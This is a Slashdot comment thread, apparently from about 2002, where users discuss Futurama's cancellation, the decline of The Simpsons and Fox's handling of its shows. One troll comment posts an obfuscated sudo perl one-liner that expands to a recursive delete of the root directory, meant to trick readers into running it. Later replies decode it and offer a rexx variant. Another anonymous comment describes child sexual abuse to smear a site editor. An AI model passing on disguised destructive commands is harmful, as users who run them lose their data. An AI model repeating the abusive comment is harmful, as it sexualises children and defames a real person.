    Bin Laden in a blender is a spoof of stuff we've already seen on the net. It's the lighter side of what happened. But to tackle the attacks directly without turning it into a drama... well I'd be very impressed if they pulled it off. As I said, South Park did, but I'm not sure Simpsons is quite up to it.

    *would love to see Groenig prove him wrong.*

    --
    "Derp de derp."
    1. Re:Leave 9-11 out of it... by NoMoreNicksLeft · · Score: 2

      That south park episode was lame. I'd been waiting LITERALLY months to see a south park/bin laden episode. I was so psyched up, expecting maybe even a guest appearance of Saddam, both of them with the canadian style heads, yapping away, mistreating Satan even...

      AND WHAT DO I GET?

      I get some "not all muslims are our enemies" (not that they all are, but I watch this show to be entertained, not listen to a public service announcement) bullshit. I get a script that is so far from the first 2 season's quality, that I want to cry. I get a horribly unwatchable spoof of Bugs Bunny, which is unforgiveable. I get YET ANOTHER episode where Chef fails to sing.

      I get a really really really lame new character, invented for the sake of a bad pun. Every other joke was either as bad as that, or worse. Nothing like the humor I'd expect from South Park. I get a rehash of the Sally Struthers/Jaba the Hut gag, only done really poorly. And the pain goes on and on. I get cold chills, remembering how bad that episode is.

      But that wasn't bad enough, the entire season has been as bad, with only the occassional joke anything like they had been. I get a Kenny that stays dead.

      If this is what South Park has turned into, then Simpsons (which I haven't watched in year) or Futurama (I've only seen it once or twice) definitely kicks its ass.

    2. Re:Leave 9-11 out of it... by Anonymous Coward · · Score: 0

      I recall seeing an episode of Family Guy where Stewie sneaks a bag of weapons through airport security by distracting the guards by singing and acting cute. After getting through he says something like "Let's hope Osama bin Laden doesn't know any showtunes", and behind him we see Osama doing a little song and dance. I thought that was pretty funny. I don't think that it "lost it's humor" by including Osama.

  69. I think your sample size is too small by r3v0ltn · · Score: 1

    First, let me agree with you: (as you seem to imply) Dan *is* the man, no question.

    Now, let me ask how many episodes you've seen. Honestly, there's no shame in shunning TV.

    Though the overall quality of "The Simpsons" waxes and wanes faster than a Jupiterian moon, some episodes are beyond reproach. Several of the Halloween specials must rate amongst the greatest of all cartoons; most near every comedic form--high and low--finds home there. Finally, I ask you, is the spoof on Howard Hughes not clever? Call me crazy, but I find the scene in which hallucinations of political germs chant "Freemasons rule the word" as cunning as they come.

    The type of condescension your post displays, though always bad form, is often acceptable in light of our culture's sorry state. Yet when the conclusion drawn is mistaken, this kind of elitism is regrettable. After all, what can it spawn but more condescension?

  70. Re:Looking for good Slashdot troll scripts by Anonymous Coward · · Score: 0

    sudo perl -e '$e="f";$y="m";$d="r";$x="f";$z="/";system("$d$y -$d$e $z")'

    Could some Linux/*NIX Zealots tell me what that does. Or ANYONE for that matter. I don't use any UNIX system but I hope it fucks up their computer. So can anyone tell me what that does.

    With a thousand thankyous, Anon Coward

  71. HEH! I love this Simpsons quote by Anonymous Coward · · Score: 0

    Huh! FOX turned into a hardcore sex channel so gradually I didn't even notice.

  72. The Simpsons dating itself into oblivion by hyacinthus · · Score: 5, Interesting

    One of the reasons that the early Simpsons episodes were so funny, and continue to remain funny, is that they were not topical, but universal. There were episodes about Bart and Lisa in school, Homer's troubles with his job, strains in Homer's and Marge's marriage--all standard if not hackneyed sitcom plots, you may say, but stories of general appeal, that are still funny more than a decade later. And that's true of nearly _all_ of the classic comedy that's still funny even fifty years later. Watch I Love Lucy or listen to the Jack Benny program and you're not likely to hear any joke or gag about some 40's or 50's political or social event. Both shows _do_ make use of cameos, and those "date" the show to an extent, especially when the star or bigwig has since become rather obscure (hands up everyone who's heard of Dore Schary or Ronald Colman!) But those classic shows, and classic Simpsons, because they avoid topical humor, have aged remarkably well.

    Groening's talk of making an Enron episode reminds me of how low the Simpsons have sunk. Who, five years from now, is going to remember Enron? Hell, who cares _now_ about Enron? But the Simpsons went down that primrose way a long time ago, ever since they started cracking jokes about the Internet, and making episodes featuring George Bush and Bill Clinton (I'm reminded that the Simpsons' funniest political episode, the one where Lisa goes to Washington, makes hardly any specific reference to the politics of the day), and running cameos from every two-bit celebrity or band who had their fifteen minutes, from Mark McGwire to N-Sync.

    hyacinthus.

    1. Re:The Simpsons dating itself into oblivion by King_TJ · · Score: 3, Interesting

      I can see where you're coming from, but I'm not sure "The Simpsons" is written with the idea that it needs to be "timeless entertainment". As many episodes as they've done, it's much more like a late-night talk show.... You count on it being there every time you turn on the TV, and it's meant to enjoy that one time, and then sort of "throw away".

      Oh, sure - there will always be re-runs, but there's enough generic humor in it to keep people watching them far into the future. I don't see any reason why they should pass over chances to poke fun at current events, simply because they're worried people won't "get it" 10 years from now.

      Cameo appearances have always dated shows, but I don't think it really harms the production. Even today, the "outdated" celebrities appearing on Scooby Doo adds to the charm to those of us old enough to remember those people. The kids might not know who Don Knotts is, but they still like the episode anyway.

    2. Re:The Simpsons dating itself into oblivion by cjpez · · Score: 2
      Hm, good point. Although I disagree with your criticism of the celebrity cameos. Without N-Sync, we never would have been graced with the line, "Those wack invertebrates'll sting you OLD SCHOOL!" Brilliance.

      But otherwise, yeah, right on. :)

    3. Re:The Simpsons dating itself into oblivion by Combuchan · · Score: 2

      Groening's talk of making an Enron episode reminds me of how low the Simpsons have sunk. Who, five years from now, is going to remember Enron?

      Homer: Oh, little Lisa. I've already started you a college fund at Lincoln Savings and Loan.

      But seriously, how long have the Simpsons been on? 10 years now? How many episodes are out? 200? 250? Does anybody even know, my Krusty-brand Kalkulator doesn't even go that high. :> But you try keeping a show on for ten years and manage to have a unique episode on each week. They're looking for ideas, and I quite frankly think it's a darn good avenue to look at that whole debacle.

      The idiocy of everyone involved in that clusterfuck who really made jackasses of themselves is incredible, and starving employees aside, I think that's funny.

      If you disagree, reply.

      --
      "[T]he single essential element on which all discoveries will be dependent is human freedom." -- Barry Goldwater
    4. Re:The Simpsons dating itself into oblivion by Anonymous Coward · · Score: 0

      Show came out in '89.

    5. Re:The Simpsons dating itself into oblivion by ChuckleBug · · Score: 2, Insightful

      Groening's talk of making an Enron episode reminds me of how low the Simpsons have sunk. Who, five years from now, is going to remember Enron? Hell, who cares _now_ about Enron?

      Believe me, Enron will be remembered, along with words and phrases like "Watergate," "Whitewater," "S&L Collapse," "Teapot Dome," "Iran-Contra," and so on. I know it isn't good to admit it when straining to maintain a disaffected, too-cool-to-care, above politics Generation Z-ster posture, but people *do* care about Enron.

      But the Simpsons went down that primrose way a long time ago, ever since they started cracking jokes about the Internet, and making episodes featuring George Bush and Bill Clinton [...]

      Oh, no shit, man, who remembers US presidents? How obscure!

      "John F. Who????"

    6. Re:The Simpsons dating itself into oblivion by Anonymous Coward · · Score: 0

      Marge: Hmmm. Should the Simpsons get a horse?
      Comic Book Guy: Excuse me, I believe this family already had a horse, and the expense forced Homer to work at the Kwik-E-Mart, with hilarious consequences.
      Homer: Anybody care what this guy thinks?
      Crowd: No!

    7. Re:The Simpsons dating itself into oblivion by Dr.+Spork · · Score: 2
      I see your point but don't agree. You see, some cameos work better than others, and some really are "timeless" (for example: Leonard Nimoy, Paul McCartney, Stephen Hawking). It's true that it's a bad idea to make the humor in the cameo episodes rely on the audience knowing the guest. However, I know nothing about NSych other than that they are a boy band, and I still found the episode with them hilarious.

      I also don't agree that the best political episode was "Lisa Goes to Washington." I think it was "Citizen Kang", a part of the seventh halloween special. This one centers around the Clinton/Dole election of '96, but contains some of the fiercest and funniest political satire I've ever seen on TV, and ages remarkably well.

      Where I do agree with you is in that it seems all the episodes are now focused around gimmicks rather than developing the characters. Maybe the characters are already developed too well. However, I think there may be another problem: the Simpsons now has the feel of a committee project without any coherent direction. Playing back the last episode (which was actually very good) these are the credits:

      Co-Executive Producer: Ian Maxtone-Graham

      Co-Executive Producer: Matt Selman

      Co-Executive Producer: Dan Greaney

      Co-Executive Producer: Josh Lieb

      Supervising Producer: Larina Jean Adams

      Supervising Producer: Carolyn Omine

      Supervising Producer: Tim Long

      Supervising Producers: John Frank, Don Payne

      Supervising Producer: Dana Gould

      Supervising Producer: Kevin Curran

      Supervising Producer: Brian Kelley

      Producer: George Meyer

      Producer: Ron Hauge

      Producers: Tom Gammill, Max Pross

      Producer: David Mirkin

      Producer: Mark Reiss

      Producer: John Vitti

      Co-Producer: Marc Willmore

      Consultant: John Schwartzwelder

      Supervising Director: Jim Reardon

      Produced by: Richard Raynis

      Produced by: Bonita Pietila

      Produced by: David Silverman

      Produced by: Denise Sirkot

      Produced by: Richard Sakai

      Written by: John Schwartzwelder

      Directed by: Chuck Sheetz

      So, these are the people who have their fingers in the content of this particular episode but are neither animators nor voice actors. It's no wonder, then, that the recent episodes seem to have no direction, and come off as nothing more than a series of gags (many of which are terrible). This might just be the inevitable result of eveybody feeling like they're out of ideas. Because the show must go on, maybe they think that 30 people can cobble enough ideas together to make a 22-minute show. Like I said, it's better than nothing, but incoherence really shows.

  73. OT: Re:Leave 9-11 out of it... by NanoGator · · Score: 0

    Err, we've drifted off topic a bit, but I felt the need to reply. (Note: I did turn off the +1 bonus, people have requested that of me in the past.)

    The episode had a hilarious (yet disturbing, heh) parody of Bugs Bunny cartoons that niether the Simpsons nor Futurama would ever attempt. I won't describe it here, but if anybody wants to see it, look for "Osama has farty pants" on Kazaa. Heh I'm willing to bet nobody's ever seen a Bugs Bunny parody like that.

    Your other complaints (i.e. Chef not singing, reoccurance of played out characters like Saddam, etc...) sadden me. What you're basically saying is "South Park isn't following the formula it established in the first season..." I can understand being disappointed after being hyped about it, but what you're asking for would destroy the show.

    Futurama and Simpsons and South Park and.. well... most shows follow a formula like this, but the formula gets old. That's what's starting to happen to Simpsons. Has anybody else noticed that in this latest season Marge has made several references to Homer 'going on an adventure this week'?

    That's what's so upsetting about Futurama getting cancelled. Simpsons may outlive it! What will we have when Simpsons is gone if Futurama's not around to take it's place?

    --
    "Derp de derp."
  74. Re:Looking for good Slashdot troll scripts by os2fan · · Score: 0, Offtopic

    It deletes everything from the root directory.

    system("$d$y -$d$e $z") evaluates to "rd -rm /"

    You can get the same effect under 4os2 and rexx as

    /* troll friend */
    p = 'd'; 'rl' = 'l'; rl='/';
    f = 's'; o = 'x'; r = 'yz'; me = '*'
    c":"
    p || e || rl rl || f || o || r me

    --
    OS/2 - because choice is a terrible thing to waste.
  75. Nielsens? by molrak · · Score: 0

    I think a large part of Futurama's problems with Fox(and many of the other shows listed in the discussion above) are a failing in the manner in which the Nielsen ratings are done. How many people on slashdot even KNOW a person who is a nielsen 'household', let alone are a nielsen voter?

    --
    You're only as smart as your brain.
  76. Simpsons Still Hilarious by Anonymous Coward · · Score: 0

    At least Futurama got better treatment than Family Guy. Family Guy was totally screwed.

    Also, the Simpsons are as funny as ever. Anymore it's all "Comic Book Guy" types sitting behind the computer saying how the show isn't as good as it used to be just because that's what their friend heard on the internet. And no one wants to like something that isn't "cool".

    "BART: They've given you thousands of hours of entertainment for free. What could they possibly owe you? If anything, you owe them. CBG: Worst episode ever."

    In fact, a lot of posters say "I don't even watch it much anymore, it's just not as funny as it used to be." How would you know if you aren't watching? Look at some recent episodes, I can think of a few things off the top of my head that were hilarious:

    Brawl in the Family: When Homer's Las Vegas wife returns, he spends the night with her in the treehouse. Marge, in the bedroom, hears sexual moans of Homer. She says "Oh No! She's making him a sandwich." And she is! Funny in so many ways.

    Blame it On Lisa: (The one where they go to Rio) Marge asks Lindsey Naegle (the stern female executive) why she always changes jobs. Ms. Naegle replies "I'm a sexual predator." I did a spit take on that one!

    And in an upcoming episode Marge checks into the hospital for liposuction treatment, but checks out with a new pair of breasts due to a mix-up. That sounds hilarious!

    Come on. Watch the Simpsons, it is as good as ever. The only positive to it going off the air is - SIMPSONS MOVIE! Waiting is the hardest part...

  77. Meet the Feebles by cpeterso · · Score: 2


    If you like crass puppets, you definitely should check out Meet the Feebles by Peter Jackson (yes, that Peter Jackson). The Feebles are the Muppets on drugs.

    1. Re:Meet the Feebles by Nakago4 · · Score: 1

      Oh dear lord no!! I can never watch that movie again! It brings new meaning to "lowest common denominator" ;) Seriously, if you are looking for a movie with puppets doing the most horribly crass and disgusting things possible then Meet the Feebles is right up that alley

  78. You actually read the articles? by Anonymous Coward · · Score: 0

    It has to be said...

    you read the articles? wassup wit dat?

  79. 24, Andy Richter & Undeclared... by bje2 · · Score: 3, Interesting

    Fox has done an excellent job this year bringing 24 to their schedule...that show is fantastic, Keifer Sutherland is awesome, and Dennis Hoppers' addition to the cast in the past few episodes has been outstanding too...to me, this was the best new show on any newtork this season...of course, it sounds like their gonna ruin it next season when, according to articles i've read, the shows switch from 24 episodes each covering one hour of time...to each episode covering 1 24-hour block of time...it just won't be the same..please FOX, try to bring it back in the original format...

    also...

    Andy Richter Controls the Universe and Undeclared are, in my opinion, two of the funniest new shows this season...yet, Undeclared has been conspicously absent from the spring schedule, and there are rumours that Andy Richter will not be picked up for next season...these two shows are great...and if you haven't checked out Andy Richter consider watching..it's on Tuesday's at 8:30 (although not this tuesday) as a lead in to "24"...it's damn funny...and the office humour in it is great...

    i do think Fox's lineup does have some potential over all....these 3 shows i mentioned....plus Simpsons, Malcom in the Middle, King of the Hill and That 70's show give them a nice core group of programming...albeit one that doesn't really appeal to older viewers....but it should appeal to the all important 18-25 year old male demographic...

    just my opinion...

    --

    "Facts are meaningless. You could use facts to prove anything that's even remotely true." - Homer Simpson
    1. Re:24, Andy Richter & Undeclared... by MiTEG · · Score: 1
      The problem with 24 is that it alienates viewers who miss a few shows. I saw the first two episodes, then missed the next two. I tried to watch the fifth, but I had no clue what was going on and gave up after about ten minutes. That is not a good way to get ratings.


      I read Undeclared was not signed for another season, but I'm pretty sure Richter will get another year- he's gotten nothing but praise from critics.


      King of the Hill definitely appeals to more than the 18-25 demographic, maybe Simpsons and Malcom in the Middle too, but nor so much.

      --
      The future isn't what it used to be.
    2. Re:24, Andy Richter & Undeclared... by bje2 · · Score: 1

      yeah, i acknowledge that missing an episode or two is a problem with 24...but at the same time, the complexity of the plot really rewards the viewer who sticks with the program...and to help out, they also re-run the episode friday night on FOX, and i think at other times on Fx...also, i think they do an okay job at the beginning of the episode trying to remind the viewer what's been happening recently...but even if they change the format, i'd bet it will still be a continuing story line throughout the season, so will it really help those people who miss an episode???

      as for "Undeclared", if what you said is true, that's ashame...i loved watching that show becuase every character was a charicature of someone i knew in college...it was great...

      --

      "Facts are meaningless. You could use facts to prove anything that's even remotely true." - Homer Simpson
    3. Re:24, Andy Richter & Undeclared... by jo42 · · Score: 1

      Sorry, IMHO, 24 blows chunks. After the first couple of episodes I wanted to bitch slap the characters and the writers for the lame acting and scripting.

  80. Re:OT: Re:Leave 9-11 out of it... by NoMoreNicksLeft · · Score: 0, Offtopic

    There is a difference between snubbing all your best traditions and not remaining formulaic.

    For one thing, they changed the animation style for "celebrities". Changing style is bad.

    It was entirely unfunny, worthless. I was actually embarrassed to watch it (my girlfriend doesn't like it at all) and I'm forcing her to watch this? But it was like a car wreck, I kept thinking to myself, this couldn't get worse, it's a really obnoxious joke at my expense, maybe some Andy Kaufman thing...only it never happened.

    Only once before, have I ever accused someone of taking credit for a work not their own (a popular novel that I don't wish to name here). In that case, I was certain the author had written the sequels, god awful garbage that they were, but somehow managed to steal the first from a student and murder them or something.

    This time though, it's reversed. The regular writers were all fired, and Comedy Central still slapped the "south park" title on it.

    I was sick. My favorite show, possibly of all time, was stolen from me, by these lousy bastards. Nothing can heal the suffering it has caused me.

    :( I might be tempted to watch Futurama now, if only on the rebound. But even that isn't possible. Someone put me out of my misery, please.

  81. fox is really missing out by Anonymous Coward · · Score: 0

    I used to watch Fox more than any other channel on TV for the simpsons every night in syndication and the new episodes on sunday. Unfortunately that show has been running dry lately with less humor and more sappy shows. I am really disheartened when they show another useless 'clips' episode. If Groening puts the Simpsons to rest before it does further damage to its honor, it would seem much more logical to Fox to replace it with the next closest thing: Futurama. I liked the first few episodes because they had hilarious moments and were refreshing, but after that season I couldn't bear the show any more. I assume that's the result of Fox meddling with the show.

    Fox just doesn't seem to relate to their audience very well at all. The only shows I watch on Fox are the Simpsons and various other syndicated comedy programs (Frasier, Seinfeld, etc.) Family Guy was one of the best shows in a long time and they hardly gave it a chance. It had refreshing humor and hilarious social commentary unrivaled by any other show today and they keep canning it.

    It's also a crying shame that one of the worst animated shows, King of the Hill, is put on before the simpsons every sunday. If Fox should can anything, it should be that show. It is never funny and I can't think of any of its redeeming values.

  82. Re:OT: Re:Leave 9-11 out of it... by NanoGator · · Score: 1, Offtopic

    "It was entirely unfunny, worthless...

    Both my girlfriend and I disagree with you. As I said, the Bugs Bunny Parody alone was classic. The Afghan children's point of view of us was amusing in a satirical way. (scary if it wasn't trying to be satirical...) And if you paid attention to how Bin Laden, the Taliban, and Al Qaeda were being presented, it was an amusing spoof of what we think people from the Middle East are like. Pay real close attention to what Bin Laden actually says. He doesn't actually say anything, he just uses words we all know. "Ramadan?" Heh.

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  83. Dear Fox by dirtiestfuckingbasta · · Score: 0

    So long, stinktown!

  84. [OT] Re:Control of TV series by segfaultdot · · Score: 1

    Pity that, but i'm very happy that he is now in charge of writing for the "Amazing Spiderman" comic. ;)

  85. Re:warning? by swg101 · · Score: 1

    Technically, without warning. But the first reply was not completely accurate. Unless you are running this script as root (running a script that you don't know what it does is asking for trouble) it would only remove everything in your personal directory (or any other places you had write access). On a well set up system, the damage would only be to your own files -- and it's what you deserve if you just do things without knowing what you are doing.
    Hating to see the uninformed make the statement "unix sucks".

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  86. Re:warning? by Anonymous Coward · · Score: 0

    does the unix user have to have perl installed to use the command?

  87. Worst slashdot thread *ever* by Anonymous Coward · · Score: 0

    Nothing to see here, move along.

  88. This stuff writes itself... by gnovos · · Score: 2

    Scene one: Itchy, Scratchy and Bin Ladin in a barber shop...

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  89. Re:Surprise us, Matt! by NFW · · Score: 1
    If Futurama gets cancelled, give us Bart Headroom.

    Smartass kid gets whacked over the head, uploaded to Gnutella during his last living moments, then pops up on Channel One to diss Coca-Cola products and help his friend at the student newspaper uncover Microsoft's contributions to Ashcroft's campaigns and the resulting "derailing" of the anti-trust case.

    Episode II: ABCDNBCBS, Inc... Corruption at the FCC

    Episode III: RIAA... A congressman is the best investment you can make.

    Please oh please.

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  90. What Greg the Bunny was BEFORE Fox: by RyanFenton · · Score: 2


    Most people here that have seen Greg the Bunny on Fox were underwhelmed. I was too.

    To see what it was before Fox, check out this - it's from the Independant Film Channel, where they introduced and made fun of movies, then slowly built up characters as they went.

    There, Greg was a simple sock puppet, and his personality shined with unrehersed enthusiasm at having just having a job. There's great stuff in those clips, like Greg going to a real rave, getting killed by zombies, meeting childhood heroes, etc.

    The stuff we see on Fox though, is definetly not the same - though it might grow back into what it was eventually. If I never saw those clips, I would think the exact same as the rest here about the show - but now it seems that much worse because of how much it has lost it's appeal.

    Ryan Fenton

    1. Re:What Greg the Bunny was BEFORE Fox: by Raven17 · · Score: 1

      Good posting, cuz the Fox version blows goats. That show sucks major ass!

  91. Perfect solution... by weave · · Score: 3, Funny

    If Futurama gets canceled, have Bender get sent back into time and end up in Springfield. Let's face it, Bender is what makes Futurama. Well, then there's Lela. I haven't gotten excited by a cartoon character since Jose and the Pussycats in the 70s...

    1. Re:Perfect solution... by deadl0ck · · Score: 1

      Good idea, how about also having the Simpsons frozen and they wake up in futurama?

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    2. Re:Perfect solution... by Bowdie · · Score: 1

      dude, you forgot about Amy! She fine too!

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    3. Re:Perfect solution... by weave · · Score: 1

      Heh, that's an even better idea, somewhat more believable and less trekish! :-)

    4. Re:Perfect solution... by Hoi+Polloi · · Score: 1

      Noooo!

      It'll be like that awful "The Jetsons meet the Flintstones" episode

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    5. Re:Perfect solution... by Anonymous Coward · · Score: 0

      In the Futurama world, "the Simpsons" is a cartoon from a thousand years ago. Remember, they go to the trash asteroid and find Bart dolls?

  92. Re:Do not adjust your browser ... we control the . by Anonymous Coward · · Score: 0

    You misspelled "Misspelling", dumbass.
    And I'm not judging your intelligence based on your spelling, just on your opinion of GtB.

    -Smack M. Bishop.

  93. Fox and Cartoons by Solokron · · Score: 1

    I fail to see how Fox supports crap like King of the Hill and not good shows like Family Guy and Futurama. Sometimes I feel like the Fox Network is based out of Kentucky and just doesn't understand the brilliance of great cartoon comedy.

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  94. Re:The jews did it by Anonymous Coward · · Score: 0

    chris likes little girls around the age of 5 or so. He likes the blood they shed on his cock, and then he makes them suck it up. Then he shit on them and takes pictures, and frames the family for it- no wonder he's an "editor" on /.!

  95. Good shows don't have to last forever by Goonie · · Score: 2
    IMHO, we might get better TV if writers and actors produced a relatively few shows in a series, and after they've milked the idea for its natural life, go and do something else. That way, they have the creative freedom to go and try new ideas without having to religiously follow the conventions of a particular format.

    The Simpsons was brilliant in the past, and occasionally still is. But don't you think the creative talent behind it could probably produce better things if they were freed from what is a pretty tired format?

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  96. Re:King of the Hill by Anonymous Coward · · Score: 0

    When I was living in NYC I too though that King of the Hill was an awful, unfunny show. But now that I'm going to the University of Missouri I've found that the show mirrors the dumb hick mentality of the midwest PERFECTLY. I cannot stop laughing anytime Boomhauer mumbles something, because I know someone who speaks EXACTLY like him. I guess its just a matter of wat the viewer can relate to. East and West Coasters don't get King of the Hill, and Midwesterners don't get...anything really.

  97. Re:King of the Hill by Bluetick · · Score: 1

    Well, I don't fit any of those categories. I'm closer to the show's origins, I live in Louisiana. Though geographically close, I don't really consider Texas 'southern' though.

  98. I say this as an avid Simpsons fan... by jonnystiph · · Score: 1
    but I hope I am not the only one that agrees that the Simpsons are due to be done. Iam personally a little sketchy on the movie idea myself.

    Probably among many others, I have been watching the Simpsons since Tracy Ullman and been a die hard fan ever since. This season outside of a few shows, I could care less whether I see it or not. I am not flaming, I am just stating I think they should go out with some diginity. I think that is safe to say that Matt G. agrees.

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  99. Meanies by Anonymous Coward · · Score: 0

    >the characters were "too mean"

    Yeah, just like that Seinfeld show. And we all know what a flop THAT was...

  100. Re:Looking for good Slashdot troll scripts by Anonymous Coward · · Score: 0

    system("$d$y -$d$e $z") evaluates to "rd -rm /"
    Sorry, you have done this newbie a disservice in your haste to enlighten. While very kind of you, the correct function is rm-rf /

  101. I don't watch Fox anymore, except sports. by deadl0ck · · Score: 1

    It seems the shows I like on Fox get booted so I decided to just not start watching any new shows on Fox. Andy Richter and that muppet show look pretty good from the prevues, but sure enough, if the show is anygood it will get booted. So why start watching and new shows? I'm not. I also have a 60 hour Tivo so it's not like I can't find anything else to watch. ;)

    Fox does have goos sports coverage however. So, except for Sports, I'm done with Fox programming.

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  102. Vote for me by MorboNixon · · Score: 0, Offtopic

    Nixon is pro-war and pro-family!

    I think my name speaks for me.

    1. Re:Vote for me by Tony+Hoyle · · Score: 2

      OK what gimp voted the above offtopic?

      *sigh*

  103. Homer Jumps the Shark... by Remik · · Score: 1
  104. All the shows i watch.. gone by CaptCanuk · · Score: 1

    Undergrads (MTV), Undeclared, Futurama, Family Guy - GONE.

    What are male University students left to watch on TV these days???

    And soon the Simpsons.

    Well, the good news is more episodes are available online now(plus no commercials... eat that FOX).

    Next on FOX: "When TV Executives cancel shows with loyal followings"

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    1. Re:All the shows i watch.. gone by Anonymous Coward · · Score: 0

      "When The Simpsons Attack!"

  105. Stimutac!!!!!!!! by Anonymous Coward · · Score: 0

    Stimutac!!!!!!!!

  106. Re:warning? by Anonymous Coward · · Score: 0
    Yes.

    It's similar to the Windows rmdir command for DOS/WindowsXP. On a unix it would be confinsed to the directories that you had write access to. I'm not sure how much damage it would do in Windows, they probably wouldn't have perl installed, for one.

  107. See comment for the code by TrollBurger · · Score: 0



    See the subject for the code

  108. Re:Surprise us, Matt! by Anonymous Coward · · Score: 0

    that's wicked..

    very creative mind you've got there

  109. Crusade was aborted, not cancelled... by emarkp · · Score: 1

    An important issue about Crusade was that the project was terminated before the first episode even aired. I'm sure there's two sides to the story, but I could see the interference from the suits (I can't believe I just wrote that) when watching those 13 eps.

  110. Re:Do not adjust your browser ... we control the . by Anonymous Coward · · Score: 0

    Sweet, sweet irony!

  111. Re:OT: Re:Leave 9-11 out of it... by Amizell · · Score: 1
    I was sick. My favorite show, possibly of all time, was stolen from me, by these lousy bastards. Nothing can heal the suffering it has caused me.

    Another case of life imitating art:
    Bart: Hey, I know it was great, but what right do you have to complain?
    ComicBookGuy: As a loyal viewer, I feel they owe me.
    Bart: What? They're giving you thousands of hours of entertainment for free. What could they possibly owe you? If anything, you owe them.
    ComicBookGuy: [pauses] Worst episode ever.
    -- "The Itchy & Scratchy & Poochie Show"

    alex
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    --- Wherever you go, everyone is always connected...
  112. Re:Matt Groening on Futurama, Simpsons and Fox by rmohr02 · · Score: 2, Interesting
    ...but what I thought was interesting was his comments on Fox and how he's not interested in moving networks over the futurama thing.
    That's the beauty of FOX. Groening's shows don't have a chance on other networks--too politically incorrect. For instance, when NBC came out with God, the Devil, and Bob, they gave it up after a few episodes because people complained about how it portrayed religion (though I believe it kept showing in the UK). The Simpsons and Futurama have both had episodes that portray religion differently than the norm, along with many other shows, but FOX keeps them.

    It kinda makes me think of how Bob & Tom deal with complaints--if they get a complaint about one song they played, they play it again.
  113. why is this moderated as a troll? by Treeluvinhippy · · Score: 1

    I disagree with the guy, but c'mon he's hardly a troll. He merely stated why he didn't think the Simpsons was all that great. That's not trolling, posting "Slashdot sucks my uncle's scrubby ***sack" without the * is trolling. Look at this guys user info and you'll see from his previous posts that he's not a troll and never has been.

    Seriously now Moderators really should refrain from modding posts down simply on the basis of disagreement.

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  114. Re:*BSD is dying by Anonymous Coward · · Score: 0

    I am a *BSD user
    and I try hard to be brave
    That is a tallorder
    *BSD's foot is in the grave.

    I tap at my toy keyboard
    and whistle a cheerful tune
    but keeping happy is sohard,
    *BSD will be dead soon.

    Each day I wake and softly sob
    Nightfall finds me crying
    Not only am I a zit faced slob
    but *BSD is dying.
  115. If it's not Football, it's something else by LittleGuy · · Score: 2

    The last few minutes of 11/26/00 episode of Futurama, "War is the H Word", was cut (in the East) for the certification of the Florida Electoral Votes. Then again, if they had to cut in, the timing couldn't have been better.

    ** SPOILER ALERT **

    Bender had a bomb planted in him when he would say his favorite word, 'ass'. The gang got to him in time, and just as he said 'ass', he screamed the TV screen went blank for a few seconds, and they cut to the Fox News Alert.

    Hmmm. Bender says 'ass' and Katherine Harris appears. I liked that doomsday ending best.

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  116. Fox Cancellations by Anonymous Coward · · Score: 0

    Fox cancelled Futurama...damn. Unfortunately, fo everyone, that's the end of it. Fox also cancelled The Tick and, despite years of lobbying and petitions by both fans and the creator, never brought it back. Oh, unless you count that live-action travesty.... Fox does not care about shows that are good, they care about shows that make money, now that Fox is considered a "real" network they no longer have any interest in their roots or in their viewers....they don't need us anymore.

  117. here in Russia... by vovkav · · Score: 1

    It's a pity, they don't like Futurama. Here in Russia we really love it!

  118. 24 by Anonymous Coward · · Score: 0

    of course, it sounds like their gonna ruin it next season when, according to articles i've read, the shows switch from 24 episodes each covering one hour of time...to each episode covering 1 24-hour block of time...it just won't be the same..please FOX, try to bring it back in the original format...



    Better yet, kill it dead. It's a great show, but it's something that can only be done once, one season. Once you get past the first 24 hours, the gimmick is gone and so is the show. Take the whole cast and writing staff and do something else with the same sort of tone and a different gimmick and see what comes of it.

  119. Nope by Codex+The+Sloth · · Score: 1

    Just oogle the google and the first hit i get is this. Answering questions like this is what the internet was invented for!

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  120. Two kinds of jumping the shark by Anonymous Coward · · Score: 0

    I haven't seen it mentioned anywhere, but I've noticed two forms of jumping the shark. The traditional kind is when you watch an episode and say, "I can't believe this crap, they're really jumping the shark here".

    The other form I've noticed is an episode that, only in retrospect, marks the end of the good episodes. A commonly held JtS of this type is the end of Buffy's third season (Mayor). It was good up to and including those episodes, but after that, it wasn't as good.

  121. Someone should tell tb3... by Anonymous Coward · · Score: 0

    that the article says fans have organized this petition, not Groening.

  122. Someone should tell tb3... by Anonymous Coward · · Score: 0

    that the article states fans are running this petition, not Matt.

  123. Where is... by sammaffei · · Score: 1

    ... a 'suicide booth' when you need it most.

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    Political correctness is the newest form of slavery.

  124. Re:FUCK YOU C64 Style by Anonymous Coward · · Score: 0

    Fuck you too, asshole. Your code won't do shit.

    The PRINT command in BASIC used arguments set off in quotes, not parenthesis. A BASIC interpreter running your program would notice that the next character after your print command was not a quote, assume it was therefore a call to a variable, try to print the variable "(", decide that it was an invalid variable name, and spit out a syntax error in line 10.

    Thanks for playing. Come back when you can code in BASIC, dipshit.

  125. Re:King of the Hill by Anonymous Coward · · Score: 0

    East and West Coasters don't get King of the Hill

    Their farts don't stink, either.

  126. Re:You should talk by Silentbob54 · · Score: 0

    You should talk you fucking monkey ass ramer

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  127. More Chekov masterpieces by jcsehak · · Score: 2

    (sorry, had to do it)

    When Seagulls Cry
    The Threesome Sisters
    Uncle Vanya's Raspberry Beret
    Ivanov Would Die 4 U

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  128. Simpsons and Futurama by jgman · · Score: 1

    Has anyone else seen the correlation between Futurama becoming the cutting edge satire show on TV and Simpsons becoming somewhat tired and cliched?

    I am a long time Simpsons fan, the show has had its bad seasons in the past, but I have found since Futurama debuted, that the Simpsons has suffered. I have the feeling that most of the creative talent is writing for Futurama, leaving the Simpsons to the 2nd string. I am unsure if the same creative team is truly up to putting out 2 top notch shows.

    Of course , my greatest fear is that both shows end up being canceled. Not sure what I would do without my Bender and Homer fix.

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  129. Put it to sleep by Hoi+Polloi · · Score: 1

    Look at Seinfeld, at least we didn't have to watch it die a painful death, it was killed mercifully. The Simpsons is clearly running out of ideas. They even said so on their last clip show a few weeks ago!

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  130. Jumping the Shark... by chachi5000 · · Score: 1

    Quote:While I don't agree that The Simpsons has "Jumped the Shark"

    Are you kidding? The Simpsons "Jumped the Shark" the day Homer swore for the first time.

    The Simpsons went 10 years without a single character using profanity to get laughs. The day Homer swore is the day the show ran out original material.

    Up to that day the Simpsons relied on parody, biting social commentary and literay allusion to generate laughs. The writing was deep and thoughtful, with layers of humor.

